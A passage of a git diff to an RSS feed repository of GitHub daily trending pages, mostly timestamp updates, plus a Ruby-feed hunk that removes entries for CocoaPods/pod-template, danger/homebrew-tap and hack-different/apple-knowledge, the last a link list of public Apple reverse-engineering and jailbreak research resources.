http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:09Z
+ 2023-12-13T01:43:07Z
Daily Trending of Regular Expression in GitHub
\ No newline at end of file
diff --git a/ren'py/daily/index.xml b/ren'py/daily/index.xml
index 0ad7cb3df1d..dd2a103f72a 100644
--- a/ren'py/daily/index.xml
+++ b/ren'py/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ren'Py Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:09Z
+ 2023-12-13T01:43:06Z
Daily Trending of Ren'Py in GitHub
\ No newline at end of file
diff --git a/renderscript/daily/index.xml b/renderscript/daily/index.xml
index 2432fce6c8d..049410d7dcd 100644
--- a/renderscript/daily/index.xml
+++ b/renderscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RenderScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:10Z
+ 2023-12-13T01:43:04Z
Daily Trending of RenderScript in GitHub
\ No newline at end of file
diff --git a/rescript/daily/index.xml b/rescript/daily/index.xml
index 9b603d3d12b..554ee49ba2d 100644
--- a/rescript/daily/index.xml
+++ b/rescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ReScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:11Z
+ 2023-12-13T01:43:10Z
Daily Trending of ReScript in GitHub
\ No newline at end of file
diff --git a/restructuredtext/daily/index.xml b/restructuredtext/daily/index.xml
index f32d0f7b462..fd2b1ed1d0a 100644
--- a/restructuredtext/daily/index.xml
+++ b/restructuredtext/daily/index.xml
@@ -1,7 +1,7 @@
GitHub reStructuredText Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:14Z
+ 2023-12-13T01:43:09Z
Daily Trending of reStructuredText in GitHub
\ No newline at end of file
diff --git a/rexx/daily/index.xml b/rexx/daily/index.xml
index aa5f64df943..5bc4906cf0f 100644
--- a/rexx/daily/index.xml
+++ b/rexx/daily/index.xml
@@ -1,7 +1,7 @@
GitHub REXX Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:13Z
+ 2023-12-13T01:43:11Z
Daily Trending of REXX in GitHub
\ No newline at end of file
diff --git a/rich-text-format/daily/index.xml b/rich-text-format/daily/index.xml
index 386debfe6df..e399d0a46fb 100644
--- a/rich-text-format/daily/index.xml
+++ b/rich-text-format/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rich Text Format Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:17Z
+ 2023-12-13T01:43:15Z
Daily Trending of Rich Text Format in GitHub
\ No newline at end of file
diff --git a/ring/daily/index.xml b/ring/daily/index.xml
index 34a4124fa2c..0e68807d6f4 100644
--- a/ring/daily/index.xml
+++ b/ring/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ring Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:16Z
+ 2023-12-13T01:43:12Z
Daily Trending of Ring in GitHub
\ No newline at end of file
diff --git a/riot/daily/index.xml b/riot/daily/index.xml
index 6cc8fc2e0be..b785c47774d 100644
--- a/riot/daily/index.xml
+++ b/riot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Riot Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:15Z
+ 2023-12-13T01:43:13Z
Daily Trending of Riot in GitHub
\ No newline at end of file
diff --git a/rmarkdown/daily/index.xml b/rmarkdown/daily/index.xml
index e8d2dc09927..2a38205c08b 100644
--- a/rmarkdown/daily/index.xml
+++ b/rmarkdown/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RMarkdown Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:15Z
+ 2023-12-13T01:43:14Z
Daily Trending of RMarkdown in GitHub
\ No newline at end of file
diff --git a/robotframework/daily/index.xml b/robotframework/daily/index.xml
index 8f078935e20..0797de00089 100644
--- a/robotframework/daily/index.xml
+++ b/robotframework/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RobotFramework Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:19Z
+ 2023-12-13T01:43:16Z
Daily Trending of RobotFramework in GitHub
\ No newline at end of file
diff --git a/robots.txt/daily/index.xml b/robots.txt/daily/index.xml
index 19937e5dcb5..0efbe5d5a64 100644
--- a/robots.txt/daily/index.xml
+++ b/robots.txt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub robots.txt Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:20Z
+ 2023-12-13T01:43:17Z
Daily Trending of robots.txt in GitHub
\ No newline at end of file
diff --git a/roff-manpage/daily/index.xml b/roff-manpage/daily/index.xml
index c167c87e87a..05e4f192d38 100644
--- a/roff-manpage/daily/index.xml
+++ b/roff-manpage/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Roff Manpage Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:19Z
+ 2023-12-13T01:43:18Z
Daily Trending of Roff Manpage in GitHub
\ No newline at end of file
diff --git a/roff/daily/index.xml b/roff/daily/index.xml
index c742cdcb9c3..a8744fda694 100644
--- a/roff/daily/index.xml
+++ b/roff/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Roff Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:22Z
+ 2023-12-13T01:43:20Z
Daily Trending of Roff in GitHub
\ No newline at end of file
diff --git a/rouge/daily/index.xml b/rouge/daily/index.xml
index 22e73026e76..150848cd8e7 100644
--- a/rouge/daily/index.xml
+++ b/rouge/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rouge Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:23Z
+ 2023-12-13T01:43:21Z
Daily Trending of Rouge in GitHub
\ No newline at end of file
diff --git a/rpc/daily/index.xml b/rpc/daily/index.xml
index 511d96894c9..4fe56e2c2a6 100644
--- a/rpc/daily/index.xml
+++ b/rpc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RPC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:23Z
+ 2023-12-13T01:43:21Z
Daily Trending of RPC in GitHub
\ No newline at end of file
diff --git a/rpgle/daily/index.xml b/rpgle/daily/index.xml
index 55995f115ec..6c64549192b 100644
--- a/rpgle/daily/index.xml
+++ b/rpgle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RPGLE Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:24Z
+ 2023-12-13T01:43:23Z
Daily Trending of RPGLE in GitHub
\ No newline at end of file
diff --git a/rpm-spec/daily/index.xml b/rpm-spec/daily/index.xml
index a4a6d06b3cf..57d02710251 100644
--- a/rpm-spec/daily/index.xml
+++ b/rpm-spec/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RPM Spec Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:27Z
+ 2023-12-13T01:43:24Z
Daily Trending of RPM Spec in GitHub
\ No newline at end of file
diff --git a/ruby/daily/index.xml b/ruby/daily/index.xml
index 0c5cb7e9b51..a7bbb799164 100644
--- a/ruby/daily/index.xml
+++ b/ruby/daily/index.xml
@@ -1,28 +1,7 @@
GitHub Ruby Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:37Z
+ 2023-12-13T01:43:30Z
Daily Trending of Ruby in GitHub
-
- CocoaPods/pod-template
- 2023-12-12T01:58:37Z
- tag:github.com,2023-12-12:/CocoaPods/pod-template
-
- <p>An opinionated template for creating a Pod.</p><hr><h1>pod-template</h1>
<p>An opinionated template for creating a Pod with the following features:</p>
<ul>
<li>Git as the source control management system</li>
<li>Clean folder structure</li>
<li>Project generation</li>
<li>MIT license</li>
<li>Testing as a standard</li>
<li>Turnkey access to Travis CI</li>
<li>Also supports Carthage</li>
</ul>
<h2>Getting started</h2>
<p>There are two reasons for wanting to work on this template, making your own or improving the one for everyone's. In both cases you will want to work with the ruby classes inside the <code>setup</code> folder, and the example base template that it works on from inside <code>template/ios/</code>.</p>
<h2>Best practices</h2>
<p>The command <code>pod lib create</code> aims to be ran along with this guide: <a href="https://guides.cocoapods.org/making/using-pod-lib-create.html">https://guides.cocoapods.org/making/using-pod-lib-create.html</a> so any changes of flow should be updated there also.</p>
<p>It is open to communal input, but adding new features, or new ideas are probably better off being discussed in an issue first. In general we try to think if an average Xcode user is going to use this feature or not, if it's unlikely is it a <em>very strongly</em> encouraged best practice ( ala testing / CI. ) If it's something useful for saving a few minutes every deploy, or isn't easily documented in the guide it is likely to be denied in order to keep this project as simple as possible.</p>
<h2>Requirements:</h2>
<ul>
<li>CocoaPods 1.0.0+</li>
</ul>
-
-
- danger/homebrew-tap
- 2023-12-12T01:58:37Z
- tag:github.com,2023-12-12:/danger/homebrew-tap
-
- <p>The homebrew repo for Danger projects</p><hr><h1>homebrew-tap</h1>
<p>Contains the Danger homebrew formulae for:</p>
<ul>
<li> <p>Danger Swift</p> <pre><code class="language-sh">brew install danger/tap/danger-swift
</code></pre> </li>
<li> <p>Danger JS</p> <pre><code class="language-sh">brew install danger/tap/danger-js
</code></pre> </li>
<li> <p>Danger Kotlin</p> <pre><code class="language-sh">brew install danger/tap/danger-kotlin
</code></pre> </li>
</ul>
-
-
- hack-different/apple-knowledge
- 2023-12-12T01:58:37Z
- tag:github.com,2023-12-12:/hack-different/apple-knowledge
-
- <p>A collection of reverse engineered Apple things, as well as a machine-readable database of Apple hardware</p><hr><h1>Apple Data Formats and Knowledge</h1>
<p>A collection of reverse engineered Apple formats, protocols, or other interesting bits.</p>
<p><a href="https://discord.gg/NAxRYvysuc">Join us on Discord</a> - <a href="https://hackdiffe.rent">Discord Rules</a></p>
<p>Repo inspired by <a href="https://github.com/papers-we-love/papers-we-love">Papers we Love</a></p>
<h2>Our Tooling Repos</h2>
<h3>Our Homebrew Tap</h3>
<p>Install our tap with <code>brew tap hack-different/homebrew-jailbreak</code></p>
<p>Information about the maintaining of that tap can be found at <a href="http://hackdiffe.rent/homebrew-jailbreak/">homebrew-jailbreak</a></p>
<h2>Contributing and a warning</h2>
<p><a href="https://hackdiffe.rent/LINKING">Linking your Discord and GitHub</a></p>
<p>We want this collection to be around for new jailbreakers and hobbyists for years to come, so we must say: this collection accepts (with gratitude) pull-requests that improve it, but under no circumstances will a PR based on <code>AppleInternal</code>, or any other copyrighted works protected by the <a href="https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act">DMCA</a> be accepted. If you need help determining this, tag the PR with <code>license help</code>, join the <a href="https://discord.gg/hackdifferent">Discord server</a>, and ask a <code>#Legit</code> or higher role for help.</p>
<p>Violation of the DMCA or Copyright law is the responsibility of the submitter.</p>
<h2>Primary Data Source</h2>
<p>We attempt to derive from machine sources and produce machine readable files (YAML) in this repo under <code>_data</code>. For information about creating and extending data format see <a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Data_Formats">Data Format Guidance</a>.</p>
<p>Updates and additions there should automatically be reflected in the documents</p>
<p><a href="https://github.com/hack-different/apple-knowledge/tree/main/_data"><code>hack-different/apple-knowledge/_data</code></a></p>
<p>Another authoritative source of information is the open source code released by Apple themselves at one of the following locations:</p>
<ul>
<li><a href="https://opensource.apple.com">Open Source at Apple Wesbite</a></li>
<li><a href="https://github.com/apple">Apple's GitHub profile</a></li>
<li><a href="https://github.com/apple-oss-distributions">apple-oss-distributions's Github profile</a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/GIFTS">Apple Gifts</a></li>
</ul>
<h2>Tools</h2>
<h3>Libraries for Binary Analysis and Modification</h3>
<p>See <a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Binary_Tooling">docs/Binary_Tooling</a></p>
<h3>Tools for Binary Analysis and Modification</h3>
<ul>
<li><a href="https://github.com/hack-different/mootool">mootool</a> - FOSS Ruby Mach-O Tool (aims to replicate jtool2 feature set)</li>
<li><a href="https://github.com/cxnder/ktool">ktool</a> - FOSS Python Mach-O Tool</li>
<li><a href="https://github.com/checkra1n/toolchain"><code>checkra1n/toolchain</code></a></li>
<li><a href="https://github.com/alephsecurity/xnu-qemu-arm64"><code>alephsecurity/xnu-qemu-arm64</code></a>
<ul>
<li><a href="https://github.com/alephsecurity/xnu-qemu-arm64-tools"><code>alephsecurity/xnu-qemu-arm64-tools</code></a></li>
<li><a href="https://github.com/alephsecurity/xnu-qemu-arm64/wiki/Build-iOS-on-QEMU">Build iOS on QEMU</a></li>
</ul> </li>
<li><a href="https://hex-rays.com/ida-pro/">IDA Disassembler by Hex-Rays</a>
<ul>
<li><a href="https://github.com/onethawt/idaplugins-list"><code>onethawt/idaplugins-list</code></a></li>
<li><a href="https://github.com/cellebrite-srl/ida_kernelcache"><code>cellebrite-srl/ida_kernelcache</code></a></li>
<li><a href="https://github.com/cellebrite-srl/PacXplorer"><code>cellebrite-srl/PacExplorer</code></a></li>
<li><a href="https://github.com/cellebrite-srl/FunctionInliner"><code>cellebrite-srl/FunctionInliner</code></a></li>
<li><a href="https://github.com/matteyeux/ida-iboot-loader"><code>matteyeux/ida-iboot-loader</code></a></li>
<li><a href="https://github.com/haiyuidesu/sephelper"><code>haiyuidesu/sephelper</code></a></li>
<li><a href="https://github.com/Cisco-Talos/GhIDA"><code>Cisco-Talos/GhIDA</code></a></li>
<li><a href="https://github.com/avast/retdec-idaplugin"><code>avast/retdec-idaplugin</code></a></li>
</ul> </li>
<li><a href="https://binary.ninja">Binary Ninja Disassembler</a>
<ul>
<li><a href="https://github.com/cxnder/bn-dyldsharedcache"><code>cxnder/bn-dyldsharedcache</code></a></li>
<li><a href="https://github.com/jonpalmisc/ObjectiveNinja"><code>jonpalmisc/ObjectiveNinja</code></a></li>
<li><a href="https://github.com/EliseZeroTwo/iBoot-Binja-Loader/"><code>EliseZeroTwo/iBoot-Binja-Loader</code></a></li>
<li><a href="https://github.com/matteyeux/seprom-loader/"><code>matteyeux/seprom-loader</code></a></li>
</ul> </li>
<li><a href="https://salmanarif.bitbucket.io/visual/index.html">VisUAL ARM Simulator</a></li>
<li><a href="https://ghidra-sre.org">Ghidra Disassembler</a>
<ul>
<li><a href="https://github.com/AllsafeCyberSecurity/awesome-ghidra"><code>AllsafeCyberSecurity/awesome-ghidra</code></a></li>
<li><a href="https://github.com/0x36/ghidra_kernelcache"><code>0x36/ghidra_kernelcache</code></a></li>
</ul> </li>
<li><a href="https://www.hopperapp.com">Hopper Disassembler</a></li>
<li><a href="https://github.com/aquynh/capstone">Capstone Engine</a></li>
<li><a href="https://github.com/unicorn-engine/unicorn">Unicorn Engine</a></li>
<li><a href="https://qemu.readthedocs.io/en/latest/">QEMU</a>
<ul>
<li><a href="https://github.com/TrungNguyen1909/qemu-t8030">QEMU Apple Branch</a></li>
<li><a href="https://github.com/geohot/qira"><code>geohot/qira</code></a></li>
</ul> </li>
<li><a href="https://github.com/blacktop/ipsw"><code>blacktop/ipsw</code></a></li>
<li><a href="https://www.newosxbook.com/tools/jtool.html">jtool2</a></li>
<li><a href="https://frida.re">frida</a></li>
</ul>
<h2>Guides and General</h2>
<ul>
<li><a href="https://github.com/Proteas/apple-cve"><code>Proteas/apple-cve</code></a></li>
<li><a href="https://github.com/kpwn/iOSRE/tree/master/wiki">kpwn / qwertyoruiop's Wiki</a></li>
<li><a href="https://github.com/kpwn/iOSRE/tree/master/resources/papers">kpwn / qwertyoruiop's Papers</a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Prototypes">About Apple Prototype and CPFM</a></li>
<li><a href="https://github.com/OWASP/owasp-mstg/raw/master/Document/0x06c-Reverse-Engineering-and-Tampering.md">OWASP: iOS Tampering and Reverse Engineering</a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/KDK">Kernel Debug Kit</a></li>
<li><a href="http://newosxbook.com/index.php">*OS Internals by Jonathan Levin</a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/T2">T2 Dev Setup</a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/4CC">Apple 4CC</a></li>
<li><a href="https://github.com/bytepack/IntroToiOSReverseEngineering"><code>bytepack/IntroToiOSReverseEngineering</code></a></li>
<li><a href="https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html">Remote Attack Surface</a></li>
<li><a href="https://lab.qaq.wiki/Lakr233/iOS-kernel-research/-/tree/master">Lakr233's Research</a></li>
</ul>
<h2>Devices</h2>
<ul>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Devices">Device List</a></li>
<li>T2
<ul>
<li><a href="https://t8012.dev">T2 Dev Team: <code>t8012</code> / Apple T2 / bridgeOS</a></li>
<li><a href="https://duo.com/labs/research/apple-t2-xpc">Duo Labs: Apple T2 XPC</a></li>
<li><a href="https://github.com/t2linux/apple-bce-drv"><code>t2linux/apple-bce-drv</code></a></li>
</ul> </li>
<li>Wi-Fi / Bluetooth
<ul>
<li><a href="https://github.com/seemoo-lab/frankenstein"><code>seemoo-lab/frankenstein</code></a></li>
<li><a href="https://github.com/seemoo-lab/internalblue"><code>seemoo-lab/internalblue</code></a></li>
</ul> </li>
<li><a href="https://www.theiphonewiki.com/wiki/Main_Page">The iPhone Wiki</a></li>
<li>SMC (System Management Controller) for pre-T2
<ul>
<li><a href="https://github.com/acidanthera/VirtualSMC"><code>acidanthera/VirtualSMC</code></a></li>
<li><a href="https://github.com/t8012/smcutil"><code>t8012/smcutil</code></a> - Create SMC binaries from update payloads</li>
</ul> </li>
</ul>
<h2>Kernel General</h2>
<ul>
<li><a href="https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html">Mach</a>
<ul>
<li><a href="https://opensource.apple.com/tarballs/xnu/">Apple's XNU Tarballs</a></li>
</ul> </li>
<li><a href="https://www.exploit-db.com/papers/13176/">Mach and the Mach Interface Generator by nemo</a></li>
<li><a href="https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.pdf">Apple IPC by Ian Beer</a></li>
<li><a href="https://github.com/acidanthera/Lilu"><code>acidanthera/Lilu</code></a></li>
<li><a href="https://github.com/osy/AMFIExemption"><code>osy/AMFIExemption</code></a></li>
<li><a href="https://blog.siguza.net/KTRR/">Siguza's Research on KTRR</a></li>
<li><a href="https://xerub.github.io/ios/kpp/2017/04/13/tick-tock.html">Tick Tock by xerub</a></li>
<li><a href="http://newosxbook.com/articles/CasaDePPL.html">Casa de PPL by Levin</a></li>
<li><a href="https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html">KTRW by Brandon Azad</a></li>
<li><a href="https://web.archive.org/web/20160131061526/http://blog.qwertyoruiop.com/?p=38">Qwertyoruiopz Attacking XNU: Part 1</a></li>
<li><a href="https://web.archive.org/web/20160131061526/http://blog.qwertyoruiop.com/?p=48">Qwertyoruiopz Attacking XNU: Part 2</a></li>
<li><a href="http://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf">Kernel Heap by Stefan Esser</a></li>
<li><a href="https://newosxbook.com/articles/PST2.html">Levin's Who needs <code>task_for_pid()</code> anyway...</a></li>
<li>Apple Official Documentation
<ul>
<li><a href="https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming">Kernel Programming Guide</a></li>
<li><a href="https://developer.apple.com/library/content/documentation/DeviceDrivers/Conceptual/IOKitFundamentals">IOKit Fundamentals</a></li>
<li><a href="https://developer.apple.com/library/content/documentation/Performance/Conceptual/ManagingMemory/Articles/AboutMemory.html">Virtual Memory System</a></li>
</ul> </li>
</ul>
<h2>Protocols / Formats</h2>
<h3>Bootloader Related</h3>
<ul>
<li>EFI
<ul>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/EFI"><code>EFI</code></a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/NVRAM"><code>NVRAM</code></a>
<ul>
<li><a href="https://stek29.rocks/2018/06/26/nvram.html">NVRAM unlock</a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/SEP_memmap"><code>SEP_memmap</code></a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Kernels">All About Kernels</a>
<ul>
<li><a href="https://github.com/apple/darwin-xnu"><code>apple/darwin-xnu</code></a></li>
</ul> </li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Factory_Firmware_Payloads"><code>Factory_Firmware_Payloads</code></a></li>
<li>iBoot
<ul>
<li><a href="https://saaramar.github.io/iBoot_firebloom/">iBoot Firebloom</a></li>
<li><a href="https://github.com/OpenJailbreak/iBootRE"><code>OpenJailbreak/iBootRE</code></a></li>
<li><a href="https://newosxbook.com/bonus/iBoot.pdf">*OS iBoot</a></li>
</ul> </li>
<li>SecureROM
<ul>
<li><a href="https://github.com/hekapooios/hekapooios.github.io/tree/master/resources/APROM">SecureROM Binaries</a></li>
</ul> </li>
</ul>
<h3>Archive / Disk Formats</h3>
<ul>
<li>APFS - Apple Filesystem
<ul>
<li><a href="https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf">Apple APFS Reference</a></li>
<li><a href="https://github.com/sgan81/apfs-fuse"><code>sgan81/apfs-fuse</code></a></li>
<li><a href="https://github.com/libyal/libfsapfs"><code>libyal/libfsapfs</code></a></li>
<li><a href="https://github.com/cugu/apfs.ksy"><code>cugu/apfs.ksy</code></a></li>
<li><a href="https://bxl1989.github.io/2019/01/17/apfs-remount.html">bxl1989 APFS Remount</a></li>
</ul> </li>
<li><a href="https://stek29.rocks/2018/01/22/lwvm-mapforio.html">LwVM Lightweight Volume Manager</a></li>
<li>NeXT / Apple "Bill of Materials" / <code>pkg</code> / <code>bom</code>
<ul>
<li><a href="https://github.com/iineva/bom"><code>iineva/bom</code></a></li>
</ul> </li>
<li><code>pbzx</code></li>
<li>Apple Disk Image - <code>dmg</code>
<ul>
<li><a href="https://github.com/jhermsmeier/node-udif"><code>jhermsmeier/node-udif</code></a></li>
<li><a href="https://github.com/nlitsme/encrypteddmg"><code>nlitsme/encrypteddmg</code></a></li>
<li><a href="https://github.com/darlinghq/darling-dmg"><code>darlinghq/darling-dmg</code></a></li>
</ul> </li>
<li>Signed System Volumes (SSV) / <code>root_hash</code></li>
</ul>
<h3>Databases / Serialization</h3>
<ul>
<li>Property Lists
<ul>
<li><a href="https://github.com/libimobiledevice/libplist"><code>libimobiledevice/libplist</code></a></li>
</ul> </li>
<li>iTunes database
<ul>
<li><a href="https://github.com/jeanthom/libitlp"><code>jeanthom/libitlp</code></a></li>
<li><a href="https://github.com/josephw/titl"><code>josephw/titl</code></a></li>
<li><a href="https://metacpan.org/pod/Mac::iTunes::Library::Parse">https://metacpan.org/pod/Mac::iTunes::Library::Parse</a></li>
</ul> </li>
<li>Apple iDevice Backup Format
<ul>
<li><a href="https://github.com/rickmark/libibackup"><code>rickmark/libibackup</code></a></li>
<li><a href="https://github.com/horrorho/InflatableDonkey"><code>horrorho/InflatableDonkey</code></a></li>
</ul> </li>
</ul>
<h3>Image, Sound and Other Resources</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/PNG">Apple Flavored PNG</a></li>
<li><a href="https://wiki.multimedia.cx/index.php?title=Apple_QuickTime_IMA_ADPC">Apple IMA ADPCM</a>
<ul>
<li><a href="https://www.downtowndougbrown.com/2012/07/power-macintosh-g3-blue-and-white-custom-startup-sound/">Using a Custom Startup Sound on a Power Macintosh G3 Blue and White</a></li>
</ul> </li>
<li>AirPlay2
<ul>
<li><a href="https://github.com/mikebrady/shairport-sync"><code>mikebrady/shareport-sync</code></a></li>
</ul> </li>
</ul>
<h3>Software Update / Installers</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Mobile_Assets">Mobile Asset URLs</a></li>
<li><a href="https://github.com/notpeter/apple-installer-checksums"><code>notpeter/apple-installer-checksums</code></a></li>
<li><a href="https://ipsw.me">ipsw.me</a></li>
<li><a href="https://ipsw.dev">ipsw.dev</a></li>
</ul>
<h3>Code and Signature Formats</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/MachO.md">Mach-O File Types</a> - Mach-O / Signing / Entitlements
<ul>
<li><a href="https://github.com/sbingner/ldid"><code>sbingner/ldid</code></a> - Codesign tool</li>
<li><a href="https://github.com/ProcursusTeam/ldid"><code>ProcursusTeam/ldid</code></a> - Alternative to sbingner/ldid with some updates for iOS 15 and general fixes</li>
<li><a href="http://www.m4b.io/reverse/engineering/mach/binaries/2015/03/29/mach-binaries.html">m4b Mach Binaries</a></li>
<li><a href="https://newosxbook.com/ent.jl">J's Entitlements Database</a></li>
<li><a href="http://www.newosxbook.com/articles/CodeSigning.pdf">Levin's Code Signing</a></li>
<li><a href="https://github.com/apple-oss-distributions/dtrace/tree/main/tools/ctfconvert">Apple CTF / Compact Type Format</a></li>
</ul> </li>
<li>img4 - Apple signed images, version 4
<ul>
<li><a href="https://www.theiphonewiki.com/wiki/IMG4_File_Format">TheiPhoneWiki's documentation on IMG4 files</a></li>
<li><a href="https://github.com/xerub/img4lib"><code>xerub/img4lib</code></a></li>
<li><a href="https://github.com/m1stadev/PyIMG4"><code>m1stadev/PyIMG4</code></a> - A Python library/CLI tool for parsing IMG4</li>
<li><a href="https://github.com/tihmstar/img4tool"><code>tihmstar/img4tool</code></a></li>
<li><a href="https://github.com/h3adshotzz/img4helper"><code>h3adshotzz/img4helper</code></a></li>
</ul> </li>
<li>TrustCache - Pre-authorized Binary Hashes
<ul>
<li><a href="https://support.apple.com/guide/security/trust-caches-sec7d38fbf97/web">Apple Platform Security - Trust caches</a></li>
<li><a href="https://github.com/t8012/go-aapl-integrity"><code>t8012/go-aapl-integrity</code></a></li>
<li><a href="https://github.com/CRKatri/trustcache"><code>CRKatri/trustcache</code></a></li>
</ul> </li>
<li>EALF - <code>eficheck</code> baselines
<ul>
<li><a href="https://github.com/t8012/go-aapl-integrity"><code>t8012/go-aapl-integrity</code></a></li>
<li><a href="https://github.com/t8012/efivalidate"><code>t8012/efivalidate</code></a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/EALF"><code>EALF</code></a></li>
</ul> </li>
<li>ChunkList - Used to verify macOS Recovery / Internet Recovery
<ul>
<li><a href="https://github.com/t8012/go-aapl-integrity"><code>t8012/go-aapl-integrity</code></a></li>
</ul> </li>
<li><code>dyld</code> and DSC (dyld Shared Cache)
<ul>
<li><a href="http://www.newosxbook.com/articles/DYLD.html">Levin's Dyld</a></li>
<li><a href="https://github.com/rickmark/yolo_dsc"><code>rickmark/yolo_dsc</code></a> - Used as last resort and depend on Xcode</li>
<li><a href="https://github.com/arandomdev/DyldExtractor"><code>arandomdev/DyldExtractor</code></a> - Fixes up linking</li>
<li><a href="https://opensource.apple.com/source/dyld/dyld-195.5/launch-cache/dyld_shared_cache_util.cpp.auto.html">dyld_shared_cache_util.cpp</a></li>
</ul> </li>
<li>iBoot LocalPolicy, RemotePolicy and BAA signing
<ul>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/M1_Boot_Policy"><code>M1_Boot_Policy</code></a></li>
</ul> </li>
<li>Rosetta2
<ul>
<li><a href="https://github.com/FFRI/ProjectChampollion/">ProjectChampollion</a></li>
</ul> </li>
<li>Swift
<ul>
<li><a href="https://github.com/apple/swift/raw/main/docs/ABI/Mangling.rst">Swift Mangling</a></li>
</ul> </li>
</ul>
<h3>Sandbox or 'Seatbelt'</h3>
<ul>
<li><a href="http://newosxbook.com/files/HITSB.pdf">Levin's - The Apple Sandbox</a></li>
<li><a href="https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v1.0.pdf">Apple Sandbox Guide v1.0</a></li>
<li><a href="https://owasp.org/www-pdf-archive/OWASP_-_EEE_2015_-_Reversing_the_Apple_Sandbox.pdf">OWASP - Reversing the Apple Sandbox</a></li>
<li><a href="https://sparkes.zone/blog/ios/2018/04/06/diving-into-the-kernel-entitlements.html">iBSparkles Breaking Entitlements</a></li>
<li><a href="https://stek29.rocks/2018/12/11/shenanigans.html">stek29: Shenanigans, Shenanigans!</a></li>
<li><a href="https://census-labs.com/media/sandbox-argp-csw2019-public.pdf">argp vs com.apple.security.sandbox</a></li>
<li><a href="https://github.com/malus-security/sandblaster"><code>malus-security/sandblaster</code></a></li>
</ul>
<h3>Secure Enclave Processor</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/SEP_memmap">SEP_memmap</a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/_data/sep.yaml">sep.yaml</a></li>
<li><a href="https://github.com/hekapooios/hekapooios.github.io/tree/master/resources/SEPROM">SEPROM</a></li>
<li><a href="https://github.com/nyuszika7h/sepfinder"><code>nyuszika7h/sepfinder</code></a></li>
<li><a href="https://github.com/justtryingthingsout/sepsplit-rs"><code>justtryingthingsout/sepsplit-rs</code></a></li>
<li><a href="https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf">Demystifying the Secure Enclave Processor</a>
<ul>
